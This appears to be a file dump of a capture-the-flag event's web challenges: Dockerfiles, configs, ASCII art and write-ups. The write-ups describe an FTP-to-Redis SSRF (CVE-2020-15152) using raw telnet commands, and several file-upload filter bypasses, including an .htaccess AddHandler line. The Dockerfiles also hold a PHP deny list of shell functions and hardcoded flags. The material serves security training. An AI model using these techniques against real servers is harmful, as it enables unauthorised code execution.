8 | ⠀⣾⣷⣶⠇⠀⠀⣤⣄⣀⡀⠈⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀
9 | ⠀⠉⠈⠉⠀⠀⢦⡈⢻⣿⣿⣿⣶⣶⣶⣶⣤⣽⡹⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀
10 | ⠀⠀⠀⠀⠀⠀⠀⠉⠲⣽⡻⢿⣿⣿⣿⣿⣿⣿⣷⣜⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀
11 | ⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣷⣶⣮⣭⣽⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀
12 | ⠀⠀⠀⠀⠀⠀⣀⣀⣈⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠇⠀⠀⠀⠀⠀⠀⠀
13 | ⠀⠀⠀⠀⠀⠀⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠃⠀⠀⠀⠀⠀⠀⠀⠀
14 | ⠀⠀⠀⠀⠀⠀⠀⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀
15 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠛⠻⠿⠿⠿⠿⠛⠉
--------------------------------------------------------------------------------
/challenges/web/pastagen/src/pastas/skeleton.txt:
--------------------------------------------------------------------------------
1 | ▒▒▒░░░░░░░░░░▄▐░░░░
2 | ▒░░░░░░▄▄▄░░▄██▄░░░
3 | ░░░░░░▐▀█▀▌░░░░▀█▄░
4 | ░░░░░░▐█▄█▌░░░░░░▀█▄
5 | ░░░░░░░▀▄▀░░░▄▄▄▄▄▀▀
6 | ░░░░░▄▄▄██▀▀▀▀░░░░░
7 | ░░░░█▀▄▄▄█░▀▀░░░░░░
8 | ░░░░▌░▄▄▄▐▌▀▀▀░░░░░
9 | ░▄░▐░░░▄▄░█░▀▀░░░░░
10 | ░▀█▌░░░▄░▀█▀░▀░░░░░
11 | ░░░░░░░░▄▄▐▌▄▄░░░░░
12 | ░░░░░░░░▀███▀█░▄░░░
13 | ░░░░░░░▐▌▀▄▀▄▀▐▄░░░
14 | ░░░░░░░▐▀░░░░░░▐▌░░
15 | ░░░░░░░█░░░░░░░░█░░
16 | ░░░░░░▐▌░░░░░░░░░█░
--------------------------------------------------------------------------------
/challenges/web/pastagen/src/pastas/spider.txt:
--------------------------------------------------------------------------------
1 | ░░░░░░░░░░░░░░░░░░░░░░░
2 | ░░░░░▒░░░░░░░░▐▌░░░░░░░
3 | ░░▐░░▓░░░░░░░░▓░░░░▄▄░░
4 | ░░▐▌░▀▌░░░░░░▄░░▄▒▀▀░░░
5 | ░░░▀▒░▐▄░▄░▐▐▌░▓▀░░░░░░
6 | ░░░░░▀▄▐▄▄▄▄▐▌▓░░░░░░░░
7 | ░░░░░░░▀▐███▓▀░░░░░░░░░
8 | ░░░░░░░▄▄▐█▓▓▄░░░░░░░░░
9 | ░░░░░▄▀▀▓▓▓▓▓▀▀▄░░░░░░░
10 | ░░░▄▀░░▐▌▐█▌▐▌░░▀▒▄░░░░
11 | ░░░▐░░▐▀░░▀▀░▒░░░░▀░░░░
12 | ░░░░░▐▌░░░░░░░▒░░░░░░░░
13 | ░░░░▄▒░░░░░░░░░▀░░░░░░░
--------------------------------------------------------------------------------
/challenges/web/pastagen/src/pastas/thinking.txt:
--------------------------------------------------------------------------------
1 | ▒▒▒▒▒▒▒▒▄▄▄▄▄▄▄▄▒▒▒▒▒▒▒▒
2 | ▒▒▒▒▒▄█▀▀░░░░░░▀▀█▄▒▒▒▒▒
3 | ▒▒▒▄█▀▄██▄░░░░░░░░▀█▄▒▒▒
4 | ▒▒█▀░▀░░▄▀░░░░▄▀▀▀▀░▀█▒▒
5 | ▒█▀░░░░███░░░░▄█▄░░░░▀█▒
6 | ▒█░░░░░░▀░░░░░▀█▀░░░░░█▒
7 | ▒█░░░░░░░░░░░░░░░░░░░░█▒
8 | ▒█░░██▄░░▀▀▀▀▄▄░░░░░░░█▒
9 | ▒▀█░█░█░░░▄▄▄▄▄░░░░░░█▀▒
10 | ▒▒▀█▀░▀▀▀▀░▄▄▄▀░░░░▄█▀▒▒
11 | ▒▒▒█░░░░░░▀█░░░░░▄█▀▒▒▒▒
12 | ▒▒▒█▄░░░░░▀█▄▄▄█▀▀▒▒▒▒▒▒
13 | ▒▒▒▒▀▀▀▀▀▀▀▒▒▒▒▒▒▒▒▒▒▒▒▒
--------------------------------------------------------------------------------
/challenges/web/pastagen/src/pastas/toucan.txt:
--------------------------------------------------------------------------------
1 | ░░░░░░░░▄▄▄▀▀▀▄▄███▄░░░░░░░░░░░░░░
2 | ░░░░░▄▀▀░░░░░░░▐░▀██▌░░░░░░░░░░░░░
3 | ░░░▄▀░░░░▄▄███░▌▀▀░▀█░░░░░░░░░░░░░
4 | ░░▄█░░▄▀▀▒▒▒▒▒▄▐░░░░█▌░░░░░░░░░░░░
5 | ░▐█▀▄▀▄▄▄▄▀▀▀▀▌░░░░░▐█▄░░░░░░░░░░░
6 | ░▌▄▄▀▀░░░░░░░░▌░░░░▄███████▄░░░░░░
7 | ░░░░░░░░░░░░░▐░░░░▐███████████▄░░░
8 | ░░░░░le░░░░░░░▐░░░░▐█████████████▄
9 | ░░░░toucan░░░░░░▀▄░░░▐█████████████▄
10 | ░░░░░░has░░░░░░░░▀▄▄███████████████
11 | ░░░░░arrived░░░░░░░░░░░░█▀██████░░
--------------------------------------------------------------------------------
/challenges/web/pastagen/src/pastas/trollface.txt:
--------------------------------------------------------------------------------
1 | ░░░░░▄▄▄▄▀▀▀▀▀▀▀▀▄▄▄▄▄▄░░░░░░░
2 | ░░░░░█░░░░▒▒▒▒▒▒▒▒▒▒▒▒░░▀▀▄░░░░
3 | ░░░░█░░░▒▒▒▒▒▒░░░░░░░░▒▒▒░░█░░░
4 | ░░░█░░░░░░▄██▀▄▄░░░░░▄▄▄░░░░█░░
5 | ░▄▀▒▄▄▄▒░█▀▀▀▀▄▄█░░░██▄▄█░░░░█░
6 | █░▒█▒▄░▀▄▄▄▀░░░░░░░░█░░░▒▒▒▒▒░█
7 | █░▒█░█▀▄▄░░░░░█▀░░░░▀▄░░▄▀▀▀▄▒█
8 | ░█░▀▄░█▄░█▀▄▄░▀░▀▀░▄▄▀░░░░█░░█░
9 | ░░█░░░▀▄▀█▄▄░█▀▀▀▄▄▄▄▀▀█▀██░█░░
10 | ░░░█░░░░██░░▀█▄▄▄█▄▄█▄████░█░░░
11 | ░░░░█░░░░▀▀▄░█░░░█░█▀██████░█░░
12 | ░░░░░▀▄░░░░░▀▀▄▄▄█▄█▄█▄█▄▀░░█░░
13 | ░░░░░░░▀▄▄░▒▒▒▒░░░░░░░░░░▒░░░█░
14 | ░░░░░░░░░░▀▀▄▄░▒▒▒▒▒▒▒▒▒▒░░░░█░
15 | ░░░░░░░░░░░░░░▀▄▄▄▄▄░░░░░░░░█░░
--------------------------------------------------------------------------------
/challenges/web/pastagen/src/pastas/yee.txt:
--------------------------------------------------------------------------------
1 | ░░░░░░░░░░░░░▄███▄▄▄░░░░░░░
2 | ░░░░░░░░░▄▄▄██▀▀▀▀███▄░░░░░
3 | ░░░░░░░▄▀▀░░░░░░░░░░░▀█░░░░
4 | ░░░░▄▄▀░░░░░░░░░░░░░░░▀█░░░
5 | ░░░█░░░░░▀▄░░▄▀░░░░░░░░█░░░
6 | ░░░▐██▄░░▀▄▀▀▄▀░░▄██▀░▐▌░░░
7 | ░░░█▀█░▀░░░▀▀░░░▀░█▀░░▐▌░░░
8 | ░░░█░░▀▐░░░░░░░░▌▀░░░░░█░░░
9 | ░░░█░░░░░░░░░░░░░░░░░░░█░░░
10 | ░░░░█░░▀▄░░░░▄▀░░░░░░░░█░░░
11 | ░░░░█░░░░░░░░░░░▄▄░░░░█░░░░
12 | ░░░░░█▀██▀▀▀▀██▀░░░░░░█░░░░
13 | ░░░░░█░░▀████▀░░░░░░░█░░░░░
14 | ░░░░░░█░░░░░░░░░░░░▄█░░░░░░
15 | ░░░░░░░██░░░░░█▄▄▀▀░█░░░░░░
16 | ░░░░░░░░▀▀█▀▀▀▀░░░░░░█░░░░░
17 | ░░░░░░░░░█░░░░░░░░░░░░█░░░░
--------------------------------------------------------------------------------
/challenges/web/pastagen/src/wowe.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/web/pastagen/src/wowe.png
--------------------------------------------------------------------------------
/challenges/web/plusbassoumissionnaire/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM php:8.0.10-apache
2 |
3 | RUN apt-get update -y && apt-get upgrade -y
4 |
5 | RUN useradd flag -c "flag-a4c73faf76b6db78c1921b32dfbe4b23de0ce255"
6 |
7 | COPY src /var/www/html
8 | RUN chmod -R 555 /var/www/html
9 |
10 | RUN echo "ServerTokens Prod" >> /etc/apache2/apache2.conf
11 | RUN echo "ServerSignature Off" >> /etc/apache2/apache2.conf
12 |
13 | RUN find / -execdir touch -t 203708261532 {} \; 2> /dev/null
14 |
--------------------------------------------------------------------------------
/challenges/web/plusbassoumissionnaire/src/backups_rpy4qplxikzb3lld46m2v9prw5mm91cqwgkcvw/.htaccess:
--------------------------------------------------------------------------------
1 | Options +Indexes
2 |
--------------------------------------------------------------------------------
/challenges/web/plusbassoumissionnaire/src/backups_rpy4qplxikzb3lld46m2v9prw5mm91cqwgkcvw/courriel d'audit.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/web/plusbassoumissionnaire/src/backups_rpy4qplxikzb3lld46m2v9prw5mm91cqwgkcvw/courriel d'audit.pdf
--------------------------------------------------------------------------------
/challenges/web/plusbassoumissionnaire/src/backups_rpy4qplxikzb3lld46m2v9prw5mm91cqwgkcvw/users.db:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/web/plusbassoumissionnaire/src/backups_rpy4qplxikzb3lld46m2v9prw5mm91cqwgkcvw/users.db
--------------------------------------------------------------------------------
/challenges/web/plusbassoumissionnaire/src/logo.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/web/plusbassoumissionnaire/src/logo.jpg
--------------------------------------------------------------------------------
/challenges/web/plusbassoumissionnaire/src/robots.txt:
--------------------------------------------------------------------------------
1 | User-agent: *
2 | Allow: /
3 |
4 | User-agent: *
5 | Disallow: /backups_rpy4qplxikzb3lld46m2v9prw5mm91cqwgkcvw
6 |
--------------------------------------------------------------------------------
/challenges/web/storengo/.dockerignore:
--------------------------------------------------------------------------------
1 | /node_modules
2 | /out
--------------------------------------------------------------------------------
/challenges/web/storengo/.gitignore:
--------------------------------------------------------------------------------
1 | /node_modules
2 | /out
3 | /src/userdata
4 | !/src/userdata/.gitkeep
--------------------------------------------------------------------------------
/challenges/web/storengo/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM node:fermium AS build
2 |
3 | RUN apt-get update && \
4 | apt-get install zip -y
5 |
6 | RUN mkdir /app
7 | WORKDIR /app
8 |
9 | COPY ./*.json /app/
10 | RUN npm install
11 |
12 | COPY ./src /app/src
13 | RUN npm run build
14 |
15 | WORKDIR /app/src
16 | RUN zip -r ../out/static/source.zip .
17 |
18 | FROM node:fermium
19 |
20 | RUN apt-get update && \
21 | apt-get install redis-server -y
22 |
23 | RUN mkdir /app
24 | WORKDIR /app
25 |
26 | ENV NODE_ENV production
27 |
28 | COPY --from=build /app/package* /app/
29 | COPY --from=build /app/node_modules /app/node_modules
30 |
31 | COPY --from=build /app/out /app
32 |
33 | RUN npm prune
34 |
35 | COPY ./entrypoint.sh /
36 |
37 | ENV SECRET=Wn7D4NYgt0A72VK6Jwjj8jOFwmWVz3D73Bjwrz88SHe1IuyxtjxtdxAhy8zU
38 |
39 | RUN chown node:node /app/userdata
40 | RUN mkdir /app/userdata/admin
41 | RUN echo "FLAG-TALKING_TO_REDIS_THROUGH_FTP" > /app/userdata/admin/flag
42 |
43 | USER node
44 | CMD [ "/entrypoint.sh" ]
45 |
--------------------------------------------------------------------------------
/challenges/web/storengo/README.md:
--------------------------------------------------------------------------------
1 | # SSRF FTP->REDIS
2 | > Web
3 | Author: @KptCheeseWhiz
4 |
5 | ## Challenge
6 | I found this cool application on the internet. I bet it's super old since it's still using good ol' FTP. I hope they kept their dependencies up to date..
7 |
8 | ## Write up
9 |
10 | Old challenge never solved, was a 0day at the time, but now it has a CVE-2020-15152
11 |
12 | Using the same credentials (eg: `rootroot:rootroot`)
13 |
14 | 1. Login on the FTP server with a ftp client
15 | 2. Try downloading a file name `test`, you will see an error with the path which contains your `hash` or call the `/api/is_admin`
16 | 3. Create a file named `set YOUR_HASH_admin 1` (replace YOUR_HASH) on your computer
17 | 4. Upload the file on the FTP server with `put "set YOUR_HASH_admin 1"`
18 | 5. Login back on the FTP server with telnet and enter these commands (this basicly send the dirlist to the redis server which will interpret it as commands)
19 | 1. USER rootroot
20 | 2. PASS rootroot
21 | 3. PORT 127,0,0,1,0,6379
22 | 4. NLST
23 | 5. QUIT
24 | 6. Login back on the FTP server with a ftp client
25 | 7. Download the file named flag
26 |
27 | ## Setup
28 |
29 | ### Requirements
30 | - docker
31 | - docker-compose
32 |
33 | ### How to run
34 | - Execute the command `docker-compose up`
--------------------------------------------------------------------------------
/challenges/web/storengo/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: "3.0"
2 |
3 | services:
4 | app:
5 | build: .
6 | restart: "unless-stopped"
7 | environment:
8 | - FTP_PASV_MIN=5002
9 | - FTP_PASV_MAX=5100
10 | - FTP_PASV_IP=127.0.0.1
11 | - FTP_PORT=5001
12 | - HTTP_PORT=5000
13 | ports:
14 | - "5000-5100:5000-5100"
--------------------------------------------------------------------------------
/challenges/web/storengo/entrypoint.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | { while :; do redis-server --save "" --appendonly no; done; } &
4 | { while :; do node /app/ftp.js; done } &
5 | node /app/http.js
--------------------------------------------------------------------------------
/challenges/web/storengo/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "storengo",
3 | "version": "1.0.0",
4 | "description": "CVE-2020-15152",
5 | "scripts": {
6 | "build": "npm run clean && tsc && cp package* ./out && cp -R ./src/static ./out && mkdir ./out/userdata",
7 | "clean": "(rm -rf ./out || true)"
8 | },
9 | "keywords": [],
10 | "author": "",
11 | "license": "ISC",
12 | "dependencies": {
13 | "connect-redis": "^6.0.0",
14 | "express": "^4.17.1",
15 | "express-session": "^1.17.2",
16 | "ftp-srv": "4.3.3",
17 | "multer": "^1.4.3",
18 | "redis": "^3.1.2"
19 | },
20 | "devDependencies": {
21 | "@types/connect-redis": "^0.0.17",
22 | "@types/express": "^4.17.13",
23 | "@types/express-session": "^1.17.4",
24 | "@types/multer": "^1.4.7",
25 | "@types/redis": "^2.8.32",
26 | "ts-node": "^10.2.1",
27 | "typescript": "^4.4.3"
28 | }
29 | }
30 |
--------------------------------------------------------------------------------
/challenges/web/storengo/src/static/favicon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/web/storengo/src/static/favicon.png
--------------------------------------------------------------------------------
/challenges/web/storengo/src/static/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | Store'N'Go
7 |
8 |
9 |
10 |
11 |
12 |
13 | Store'N'Go: A new retro way to store files!
14 |
15 | Everyone can login, if you account doesn't exist, it will be created on the fly
16 |
17 | You can use this HTTP server or the FTP server on the next port to upload and download your files
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 | the source code can be found
here
27 | Copyright Store'N'Go ©1998-2019
28 |
29 |
30 |
--------------------------------------------------------------------------------
/challenges/web/storengo/src/static/style.css:
--------------------------------------------------------------------------------
1 | html {
2 | background-image: url(favicon.png);
3 | background-color: black;
4 |
5 | height: 100vh;
6 | width: 100vw;
7 |
8 | font-family: "Permanent Marker";
9 | color: black;
10 | }
11 |
12 | body {
13 | background-color: rgba(255, 255, 255, 0.8);
14 | border-radius: 25px;
15 | padding: 10px;
16 | }
17 |
--------------------------------------------------------------------------------
/challenges/web/storengo/src/userdata/.gitkeep:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/web/storengo/src/userdata/.gitkeep
--------------------------------------------------------------------------------
/challenges/web/storengo/src/utils/crypto.ts:
--------------------------------------------------------------------------------
1 | import * as crypto from "crypto";
2 |
3 | export const md5 = (str: string) =>
4 | crypto
5 | .createHash("md5")
6 | .update(str)
7 | .digest("hex");
8 |
--------------------------------------------------------------------------------
/challenges/web/storengo/src/utils/redis.ts:
--------------------------------------------------------------------------------
1 | import * as redis from "redis";
2 |
3 | export const exists = async (
4 | client: redis.RedisClient,
5 | ...p: any[]
6 | ): Promise => {
7 | return new Promise((resolve, reject) => {
8 | client.exists(...p, (err: Error, reply: number) => {
9 | if (err) reject(err);
10 | else resolve(!!reply);
11 | });
12 | });
13 | };
14 |
--------------------------------------------------------------------------------
/challenges/web/storengo/tsconfig.json:
--------------------------------------------------------------------------------
1 | {
2 | "compilerOptions": {
3 | "target": "es6",
4 | "moduleResolution": "node",
5 | "module": "commonjs",
6 | "declaration": false,
7 | "noLib": false,
8 | "emitDecoratorMetadata": true,
9 | "experimentalDecorators": true,
10 | "pretty": true,
11 | "allowUnreachableCode": true,
12 | "allowUnusedLabels": true,
13 | "noImplicitAny": true,
14 | "noImplicitReturns": false,
15 | "noImplicitUseStrict": false,
16 | "outDir": "out/",
17 | "baseUrl": "src/",
18 | "listFiles": true
19 | },
20 | "include": ["./**/*"],
21 | "exclude": ["node_modules"],
22 | "compileOnSave": false
23 | }
24 |
--------------------------------------------------------------------------------
/challenges/web/upload1/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM php:8.0.10-apache
2 |
3 | RUN apt-get update -y && apt-get upgrade -y
4 |
5 | COPY src /var/www/html
6 | RUN mkdir /var/www/html/uploads
7 |
8 | RUN chown -R root:www-data /var/www/html/uploads
9 | RUN chmod -R 755 /var/www/html
10 | RUN chmod -R 733 /var/www/html/uploads
11 |
12 | RUN echo "disable_functions=exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source" >> /usr/local/etc/php/php.ini
13 |
14 |
--------------------------------------------------------------------------------
/challenges/web/upload1/README.md:
--------------------------------------------------------------------------------
1 | # File upload vulnerability 1
2 |
3 | > web
4 |
5 | Author: [Alexandre-Xavier Labonté-Lamoureux (AXDOOMER)](https://github.com/axdoomer)
6 |
7 | Les vulnérabilités de téléversement de fichier permettent d'exécuter son propre code sur un serveur web. La vulnérabilité existe lorsque les fichiers téléversés ne sont pas bien filtrés. Par exemple, un site peut permettre que de téléverser des images. Cependant, si les restrictions ne sont pas implémentées de façon rigoureuse dans l'application, il serait possible de téléverser des fichiers PHP avec notre propre code.
8 |
9 | Le flag se cache dans le code source de l'application. Effectuez une lecture du code source en exploitant cette vulnérabilité.
10 |
11 | ## Setup
12 |
13 | Requirements:
14 | - BurpSuite
15 |
16 | # Writeup
17 |
18 | Vous devez utiliser un script PHP comme celui-ci:
19 |
20 | ```
21 |
24 | ```
25 |
26 | La conversion en Base64 n'est pas nécessaire, car lorsque le fichier PHP sera interprété, le flag qui est en commentaire dans le code source et se retrouvera affichée lorsqu'on fera Ctrl+U.
27 |
28 | Flag: `flag-5f087c95fd24e2d8feef96nosecuritywhatsoever`
29 |
--------------------------------------------------------------------------------
/challenges/web/upload1/src/.htaccess:
--------------------------------------------------------------------------------
1 | php_flag display_startup_errors off
2 |
--------------------------------------------------------------------------------
/challenges/web/upload1/src/logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/web/upload1/src/logo.png
--------------------------------------------------------------------------------
/challenges/web/upload2/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM php:8.0.10-apache
2 |
3 | RUN apt-get update -y && apt-get upgrade -y
4 |
5 | COPY src /var/www/html
6 | RUN mkdir /var/www/html/uploads
7 |
8 | RUN chown -R root:www-data /var/www/html/uploads
9 | RUN chmod -R 755 /var/www/html
10 | RUN chmod -R 733 /var/www/html/uploads
11 |
12 | RUN echo "disable_functions=exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source" >> /usr/local/etc/php/php.ini
13 |
14 |
--------------------------------------------------------------------------------
/challenges/web/upload2/README.md:
--------------------------------------------------------------------------------
1 | # File upload vulnerability 2
2 |
3 | > web
4 |
5 | Author: [Alexandre-Xavier Labonté-Lamoureux (AXDOOMER)](https://github.com/axdoomer)
6 |
7 | Pour ce second défi, la sécurité de l'application a été solidifiée. L'application empêche de téléverser n'importe quel type de fichier, mais cette vérification dépend de l'information qui lui est donnée par le navigateur web de l'utilisateur...
8 |
9 | ## Setup
10 |
11 | Requirements:
12 | - BurpSuite
13 |
14 | # Writeup
15 |
16 | Vous devez téléverser un fichier comme dans `File upload vulnerability 1`, cependant, l'application vérifie le champ `Content-Type` du téléversement.
17 |
18 | Donc, `Content-Type: application/x-php` ne fonctionnera pas, car l'application détermine que ce n'est pas une image. Par contre, on peut utiliser `Content-Type: image/jpeg` afin que le fichier se téléverse avec succès.
19 |
20 | Flag: `flag-b425938e434797462192relyingontheclientside`
21 |
--------------------------------------------------------------------------------
/challenges/web/upload2/src/.htaccess:
--------------------------------------------------------------------------------
1 | php_flag display_startup_errors off
2 |
--------------------------------------------------------------------------------
/challenges/web/upload2/src/logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/web/upload2/src/logo.png
--------------------------------------------------------------------------------
/challenges/web/upload3/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM php:8.0.10-apache
2 |
3 | RUN apt-get update -y && apt-get upgrade -y
4 |
5 | COPY src /var/www/html
6 | RUN mkdir /var/www/html/uploads
7 |
8 | RUN chown -R root:www-data /var/www/html/uploads
9 | RUN chmod -R 755 /var/www/html
10 | RUN chmod -R 733 /var/www/html/uploads
11 |
12 | RUN echo "disable_functions=exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source" >> /usr/local/etc/php/php.ini
13 |
14 |
--------------------------------------------------------------------------------
/challenges/web/upload3/README.md:
--------------------------------------------------------------------------------
1 | # File upload vulnerability 3
2 |
3 | > web
4 |
5 | Author: [Alexandre-Xavier Labonté-Lamoureux (AXDOOMER)](https://github.com/axdoomer)
6 |
7 | Pour ce troisième défi, la sécurité de l'application a été solidifiée (un peu). L'application effectue une vérification de plus afin de se protéger.
8 |
9 | ## Setup
10 |
11 | Requirements:
12 | - BurpSuite
13 |
14 | # Writeup
15 |
16 | Vous devez téléverser un fichier avec la même procédure que dans `File upload vulnerability 2`, cependant, l'application vérifie l'extension du fichier. Par contre, l'extension peut être n'importe où dans le nom du fichier. On peut donc téléverser un fichier `index.jpg.php`.
17 |
18 | Flag: `flag-80643872d1740e1544606nevertrusttheuser`
19 |
--------------------------------------------------------------------------------
/challenges/web/upload3/src/.htaccess:
--------------------------------------------------------------------------------
1 | php_flag display_startup_errors off
2 |
--------------------------------------------------------------------------------
/challenges/web/upload3/src/logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/web/upload3/src/logo.png
--------------------------------------------------------------------------------
/challenges/web/upload4/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM php:8.0.10-apache
2 |
3 | RUN apt-get update -y && apt-get upgrade -y
4 |
5 | COPY src /var/www/html
6 | RUN mkdir /var/www/html/uploads
7 |
8 | RUN chown -R root:www-data /var/www/html/uploads
9 | RUN chmod -R 755 /var/www/html
10 | RUN chmod -R 733 /var/www/html/uploads
11 |
12 | RUN echo "disable_functions=exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source" >> /usr/local/etc/php/php.ini
13 |
14 |
--------------------------------------------------------------------------------
/challenges/web/upload4/README.md:
--------------------------------------------------------------------------------
1 | # File upload vulnerability 4
2 |
3 | > web
4 |
5 | Author: [Alexandre-Xavier Labonté-Lamoureux (AXDOOMER)](https://github.com/axdoomer)
6 |
7 | Pour ce quatrième défi, le concepteur du site web a remplacé son mécanisme de validation des extensions afin d'interdire tout fichier qui a une extension ".php" et les extensions similaires qui sont des scripts qui peuvent s'exécuter. Il pense que cela est plus efficace.
8 |
9 | ## Setup
10 |
11 | Requirements:
12 | - BurpSuite
13 |
14 | # Writeup
15 |
16 | En faisant des tests, on découvre que le site permet tous les types de fichiers. Il ne prévient que le téléversement de fichiers PHP, templates PHP, etc.
17 |
18 | On peut donc forcer l'exécution d'autres fichiers comme du PHP. Voici un exemple avec les fichiers .png:
19 |
20 | Dans un fichier `.htaccess`, téléverser:
21 | ```
22 | AddHandler application/x-httpd-php .png
23 | ```
24 |
25 | On pourra ensuite téléverser des fichiers "PNG" qui, lorsque accédés, seront exécutés comme du PHP.
26 |
27 | On peut obtenir le flag:
28 |
29 | Flag: `flag-08dfacc89843e423blacklistsaredangerous`
30 |
--------------------------------------------------------------------------------
/challenges/web/upload4/src/.htaccess:
--------------------------------------------------------------------------------
1 | php_flag display_startup_errors off
2 |
--------------------------------------------------------------------------------
/challenges/web/upload4/src/logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/web/upload4/src/logo.png
--------------------------------------------------------------------------------
/challenges/web/wasm/.dockerignore:
--------------------------------------------------------------------------------
1 | .dockerignore
2 | .gitignore
3 | .venv
4 | .vscode
5 | Dockerfile
6 | docker-compose*
7 |
--------------------------------------------------------------------------------
/challenges/web/wasm/.gitignore:
--------------------------------------------------------------------------------
1 | .venv
2 | .vscode
3 |
--------------------------------------------------------------------------------
/challenges/web/wasm/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python
2 |
3 | WORKDIR /app
4 |
5 | COPY . .
6 |
7 | RUN pip3 install -r ./web/requirements.txt
8 |
9 | EXPOSE 6969
10 |
11 | CMD python3 ./web/app.py
12 |
--------------------------------------------------------------------------------
/challenges/web/wasm/challenge/FLAG:
--------------------------------------------------------------------------------
1 | FLAG-you_can_debug_wasm
--------------------------------------------------------------------------------
/challenges/web/wasm/challenge/KEY:
--------------------------------------------------------------------------------
1 | this_is_not_the_flag
--------------------------------------------------------------------------------
/challenges/web/wasm/docker-compose.dev.yml:
--------------------------------------------------------------------------------
1 | version: "3"
2 |
3 | services:
4 | web:
5 | container_name: debug-wasm-dev
6 | ports:
7 | - "6969:6969"
8 | environment:
9 | PORT: 6969
10 | ENVIRONMENT: "development"
11 | build:
12 | context: .
13 | dockerfile: Dockerfile
14 | restart: always
15 | healthcheck:
16 | test: curl -f http://localhost:6969/healthcheck || false
17 | interval: 60s
18 | timeout: 3s
19 | volumes:
20 | - ./wasm:/app/wasm
21 | - ./web:/app/web
22 | - ./challenge:/app/challenge
23 |
--------------------------------------------------------------------------------
/challenges/web/wasm/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: "3"
2 |
3 | services:
4 | web:
5 | container_name: debug-wasm-prod
6 | ports:
7 | - "6969:6969"
8 | environment:
9 | PORT: 6969
10 | ENVIRONMENT: "production"
11 | build:
12 | context: .
13 | dockerfile: Dockerfile
14 | restart: always
15 | healthcheck:
16 | test: curl -f http://localhost:6969/healthcheck || false
17 | interval: 60s
18 | timeout: 3s
19 |
--------------------------------------------------------------------------------
/challenges/web/wasm/web/app.py:
--------------------------------------------------------------------------------
1 | from flask import Flask, render_template, Response, send_from_directory
2 | from ppci import wasm
3 | import os
4 |
5 | app = Flask(__name__)
6 |
7 | with open('./challenge/FLAG') as h:
8 | FLAG = h.read().encode('utf8')
9 |
10 | with open('./challenge/KEY') as h:
11 | KEY = h.read().encode('utf8')
12 |
13 | def encrypt_data(flag: bytes, key: bytes):
14 | rev_key = bytes(reversed(key)) * 10
15 |
16 | encrypt = ''.join(f'\\{hex((d ^ k) + 1)[2:].zfill(2)}' for d, k in zip(flag, rev_key))
17 |
18 | return f"{key.decode('utf8')}\\00{encrypt}"
19 |
20 | def decrypt_flag(data):
21 | key, encoded_flag = data.split('\\00')
22 | rev_key = bytes(reversed(key.encode('utf8'))) * 10
23 |
24 | encrypted_flag = [int(h, 16) for h in encoded_flag.split('\\')[1:]]
25 |
26 | return ''.join(chr((e - 1) ^ k) for e, k in zip(encrypted_flag, rev_key)).encode('utf8')
27 |
28 | @app.route('/')
29 | def home():
30 | return render_template("index.html")
31 |
32 | @app.route('/healthcheck')
33 | def test():
34 | data = encrypt_data(FLAG, KEY)
35 | flag = decrypt_flag(data)
36 |
37 | return ('OK' if flag == FLAG else 'ERROR', 200 if flag == FLAG else 500)
38 |
39 | @app.route('/public/')
40 | def public(path):
41 | return send_from_directory('public', path)
42 |
43 | @app.route('/challenge.wasm')
44 | def challenge():
45 | with open('./wasm/challenge.wat') as h:
